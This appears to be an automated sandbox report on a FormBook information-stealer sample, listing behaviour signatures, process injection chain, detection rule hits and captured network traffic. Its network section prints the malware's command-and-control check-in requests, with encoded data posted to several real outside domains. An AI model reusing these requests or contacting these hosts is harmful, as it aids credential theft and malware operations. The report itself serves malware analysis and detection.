Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
fqbVL4XxCr.exe

Overview

General Information

Sample name:fqbVL4XxCr.exe
renamed because original name is a hash value
Original sample name:a5e313aac682e4c33dbfda8e5ecf838a1d4cd67f218bd72cc1ed08ac02221b2e.exe
Analysis ID:1588900
MD5:de9333ece029d6d329b5e46748163ab2
SHA1:e4439efc1c384fe44815d56f129d31f90d7762f2
SHA256:a5e313aac682e4c33dbfda8e5ecf838a1d4cd67f218bd72cc1ed08ac02221b2e
Tags:exeFormbookuser-adrian__luca
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Found API chain indicative of sandbox detection
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • fqbVL4XxCr.exe (PID: 3116 cmdline: "C:\Users\user\Desktop\fqbVL4XxCr.exe" MD5: DE9333ECE029D6D329B5E46748163AB2)
    • svchost.exe (PID: 2464 cmdline: "C:\Users\user\Desktop\fqbVL4XxCr.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • bxTTlfXQvBrtf.exe (PID: 6164 cmdline: "C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • prevhost.exe (PID: 4136 cmdline: "C:\Windows\SysWOW64\prevhost.exe" MD5: 79FED29A7F3DF4BA67599EFF3CDB4F1A)
          • bxTTlfXQvBrtf.exe (PID: 1492 cmdline: "C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 5760 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.2676002365.00000000003A0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000005.00000002.2678720361.00000000042B0000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000005.00000002.2678938866.0000000004300000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        00000002.00000002.1769882585.0000000000400000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          00000002.00000002.1772742161.0000000006DA0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            Click to see the 2 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.svchost.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
              2.2.svchost.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Uncommon Svchost Parent Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\fqbVL4XxCr.exe", CommandLine: "C:\Users\user\Desktop\fqbVL4XxCr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\fqbVL4XxCr.exe", ParentImage: C:\Users\user\Desktop\fqbVL4XxCr.exe, ParentProcessId: 3116, ParentProcessName: fqbVL4XxCr.exe, ProcessCommandLine: "C:\Users\user\Desktop\fqbVL4XxCr.exe", ProcessId: 2464, ProcessName: svchost.exe
                Sigma detected: Windows Processes Suspicious Parent Directory
                Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\fqbVL4XxCr.exe", CommandLine: "C:\Users\user\Desktop\fqbVL4XxCr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\fqbVL4XxCr.exe", ParentImage: C:\Users\user\Desktop\fqbVL4XxCr.exe, ParentProcessId: 3116, ParentProcessName: fqbVL4XxCr.exe, ProcessCommandLine: "C:\Users\user\Desktop\fqbVL4XxCr.exe", ProcessId: 2464, ProcessName: svchost.exe

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2025-01-11T06:55:44.137606+010028554651A Network Trojan was detected192.168.2.849849104.21.112.180TCP
                2025-01-11T06:56:34.690691+010028554651A Network Trojan was detected192.168.2.849706161.97.142.14480TCP
                2025-01-11T06:56:58.126010+010028554651A Network Trojan was detected192.168.2.849711172.96.187.6080TCP
                2025-01-11T06:57:11.755910+010028554651A Network Trojan was detected192.168.2.849764185.199.111.15380TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2025-01-11T06:56:50.495062+010028554641A Network Trojan was detected192.168.2.849708172.96.187.6080TCP
                2025-01-11T06:56:53.024969+010028554641A Network Trojan was detected192.168.2.849709172.96.187.6080TCP
                2025-01-11T06:56:55.588555+010028554641A Network Trojan was detected192.168.2.849710172.96.187.6080TCP
                2025-01-11T06:57:04.090884+010028554641A Network Trojan was detected192.168.2.849713185.199.111.15380TCP
                2025-01-11T06:57:06.638986+010028554641A Network Trojan was detected192.168.2.849731185.199.111.15380TCP
                2025-01-11T06:57:09.178378+010028554641A Network Trojan was detected192.168.2.849747185.199.111.15380TCP
                2025-01-11T06:57:18.325234+010028554641A Network Trojan was detected192.168.2.849794104.21.112.180TCP
                2025-01-11T06:57:20.872095+010028554641A Network Trojan was detected192.168.2.849815104.21.112.180TCP
                2025-01-11T06:57:23.419068+010028554641A Network Trojan was detected192.168.2.849831104.21.112.180TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus / Scanner detection for submitted sample
                Source: fqbVL4XxCr.exeAvira: detected
                Multi AV Scanner detection for submitted file
                Source: fqbVL4XxCr.exeReversingLabs: Detection: 65%
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000005.00000002.2676002365.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2678720361.00000000042B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.2678938866.0000000004300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1769882585.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1772742161.0000000006DA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1770842704.00000000047E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.2678354704.0000000002CE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: fqbVL4XxCr.exeJoe Sandbox ML: detected
                Source: fqbVL4XxCr.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: Binary string: prevhost.pdb source: svchost.exe, 00000002.00000003.1738861556.000000000341A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770177882.0000000003400000.00000004.00000020.00020000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000002.2677843635.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000003.1709760106.00000000006DB000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: bxTTlfXQvBrtf.exe, 00000004.00000000.1694305112.00000000000FE000.00000002.00000001.01000000.00000005.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000002.2675998169.00000000000FE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: fqbVL4XxCr.exe, 00000000.00000003.1455205028.00000000034F0000.00000004.00001000.00020000.00000000.sdmp, fqbVL4XxCr.exe, 00000000.00000003.1456104978.0000000003690000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1677711224.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770349598.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770349598.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1679635314.0000000003800000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2679811776.00000000046CE000.00000040.00001000.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1770177314.0000000004193000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2679811776.0000000004530000.00000040.00001000.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1772300583.0000000004385000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: fqbVL4XxCr.exe, 00000000.00000003.1455205028.00000000034F0000.00000004.00001000.00020000.00000000.sdmp, fqbVL4XxCr.exe, 00000000.00000003.1456104978.0000000003690000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1677711224.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770349598.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770349598.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1679635314.0000000003800000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, prevhost.exe, 00000005.00000002.2679811776.00000000046CE000.00000040.00001000.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1770177314.0000000004193000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2679811776.0000000004530000.00000040.00001000.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1772300583.0000000004385000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: prevhost.pdbGCTL source: svchost.exe, 00000002.00000003.1738861556.000000000341A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770177882.0000000003400000.00000004.00000020.00020000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000002.2677843635.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000003.1709760106.00000000006DB000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: prevhost.exe, 00000005.00000002.2676849342.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2680734311.0000000004B5C000.00000004.10000000.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000000.1842674376.00000000034CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2069294465.000000001193C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: prevhost.exe, 00000005.00000002.2676849342.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2680734311.0000000004B5C000.00000004.10000000.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000000.1842674376.00000000034CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2069294465.000000001193C000.00000004.80000000.00040000.00000000.sdmp
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,0_2_002FDBBE
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002CC2A2 FindFirstFileExW,0_2_002CC2A2
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_003068EE FindFirstFileW,FindClose,0_2_003068EE
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,0_2_0030698F
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_002FD076
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002FD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_002FD3A9
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00309642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00309642
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_0030979D
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00309B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00309B2B
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00305C97 FindFirstFileW,FindNextFileW,FindClose,0_2_00305C97
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003BC7C0 FindFirstFileW,FindNextFileW,FindClose,5_2_003BC7C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 4x nop then xor eax, eax5_2_003A9F20
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 4x nop then mov ebx, 00000004h5_2_044304DE

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49708 -> 172.96.187.60:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49706 -> 161.97.142.144:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49710 -> 172.96.187.60:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49713 -> 185.199.111.153:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49709 -> 172.96.187.60:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49815 -> 104.21.112.1:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49764 -> 185.199.111.153:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49711 -> 172.96.187.60:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49747 -> 185.199.111.153:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49794 -> 104.21.112.1:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49731 -> 185.199.111.153:80
                Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.8:49831 -> 104.21.112.1:80
                Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.8:49849 -> 104.21.112.1:80
                Performs DNS queries to domains with low reputation
                Source: DNS query: www.030002513.xyz
                Source: Joe Sandbox ViewIP Address: 104.21.112.1 104.21.112.1
                Source: Joe Sandbox ViewIP Address: 104.21.112.1 104.21.112.1
                Source: Joe Sandbox ViewIP Address: 161.97.142.144 161.97.142.144
                Source: Joe Sandbox ViewIP Address: 161.97.142.144 161.97.142.144
                Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                Source: Joe Sandbox ViewASN Name: CONTABODE CONTABODE
                Source: Joe Sandbox ViewASN Name: SINGLEHOP-LLCUS SINGLEHOP-LLCUS
                Source: Joe Sandbox ViewASN Name: FASTLYUS FASTLYUS
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,0_2_0030CE44
                Source: global trafficHTTP traffic detected: GET /95le/?rH=ZgllZHsiydchqBHBA1JMF+RoiwLw/ScJ/Jj32S4NIs+PSlV3776FANxFoYb4iH80r13xZ8RWQuyuUHwO/KTQyMUlugyQN01aje7Bj48jZrfS5H3hLaTfjt6ZYeyb133wug==&B0=-V3pKrJ8iBXDb830 HTTP/1.1Host: www.030002513.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GET /s7cs/?rH=XBO9aoYe0c4EV2lGWX/eqScH3WB2DUU8GMnJuxCb2bBG6S8RD/F6utRSsBVbsw81jNVeG9r0NAJ+O+sM6di/DPNN1AqW/vE5uP5HTi0LrCapwh/dWLa7LN3Ylr7QDZSGIw==&B0=-V3pKrJ8iBXDb830 HTTP/1.1Host: www.mbakjisoo.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GET /o8v1/?rH=aBBw/QY72agee++wmgm8YU8t73l2MhHHcyuYQPaRiLcCJdiW+8Frjxd5MkTQnyD8TNGws+KrSP+UmrRcv8qZwA+PuH7WMxB8JK0VpuN0UbWNJH+NSjIQxL6KGx3qfMmdjQ==&B0=-V3pKrJ8iBXDb830 HTTP/1.1Host: www.pku-cs-cjw.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficHTTP traffic detected: GET /w7eo/?rH=87jvmPBkWfHORTeDIH6vw6Iilw+7ldDVauNTJPGD6Y0g6pEQO5IgtLUhmq8D9IsvGok6fcDnqazXOW08rDaolct1438ccJEtgvb1cCvnPNMWlQI0o55REYR00vMG39XDrQ==&B0=-V3pKrJ8iBXDb830 HTTP/1.1Host: www.vilakodsiy.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
                Source: global trafficDNS traffic detected: DNS query: www.030002513.xyz
                Source: global trafficDNS traffic detected: DNS query: www.mbakjisoo.site
                Source: global trafficDNS traffic detected: DNS query: www.pku-cs-cjw.top
                Source: global trafficDNS traffic detected: DNS query: www.vilakodsiy.sbs
                Source: unknownHTTP traffic detected: POST /s7cs/ HTTP/1.1Host: www.mbakjisoo.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enOrigin: http://www.mbakjisoo.siteContent-Type: application/x-www-form-urlencodedConnection: closeCache-Control: max-age=0Content-Length: 203Referer: http://www.mbakjisoo.site/s7cs/User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P7510 Build/JDQ39; CyanogenMod-10.1) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30Data Raw: 72 48 3d 61 44 6d 64 5a 66 30 71 31 75 77 31 55 79 6f 52 4c 33 7a 72 69 6c 4e 2f 37 46 35 57 58 48 55 50 53 62 6e 75 33 57 33 43 74 36 73 39 39 6c 63 4d 48 76 39 32 6d 76 4a 2b 2f 41 77 46 70 55 67 2f 32 65 4e 52 51 4e 32 45 4f 6a 73 61 4c 75 78 5a 74 76 2f 75 65 4d 42 38 6d 43 6e 47 2f 64 59 79 6d 2b 67 47 5a 67 55 31 7a 54 47 33 7a 68 6e 52 42 4f 57 56 55 50 2f 76 68 63 47 57 4b 59 4c 73 61 68 32 50 73 62 4a 4c 49 2f 72 73 49 78 38 78 45 39 44 52 53 7a 34 51 68 51 32 68 5a 65 34 59 67 74 6b 33 74 6e 7a 70 63 69 68 48 4c 73 62 38 46 64 74 42 5a 4c 39 42 33 58 4b 59 79 35 42 4d 6c 32 36 35 57 6e 51 3d Data Ascii: rH=aDmdZf0q1uw1UyoRL3zrilN/7F5WXHUPSbnu3W3Ct6s99lcMHv92mvJ+/AwFpUg/2eNRQN2EOjsaLuxZtv/ueMB8mCnG/dYym+gGZgU1zTG3zhnRBOWVUP/vhcGWKYLsah2PsbJLI/rsIx8xE9DRSz4QhQ2hZe4Ygtk3tnzpcihHLsb8FdtBZL9B3XKYy5BMl265WnQ=
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sat, 11 Jan 2025 05:56:34 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 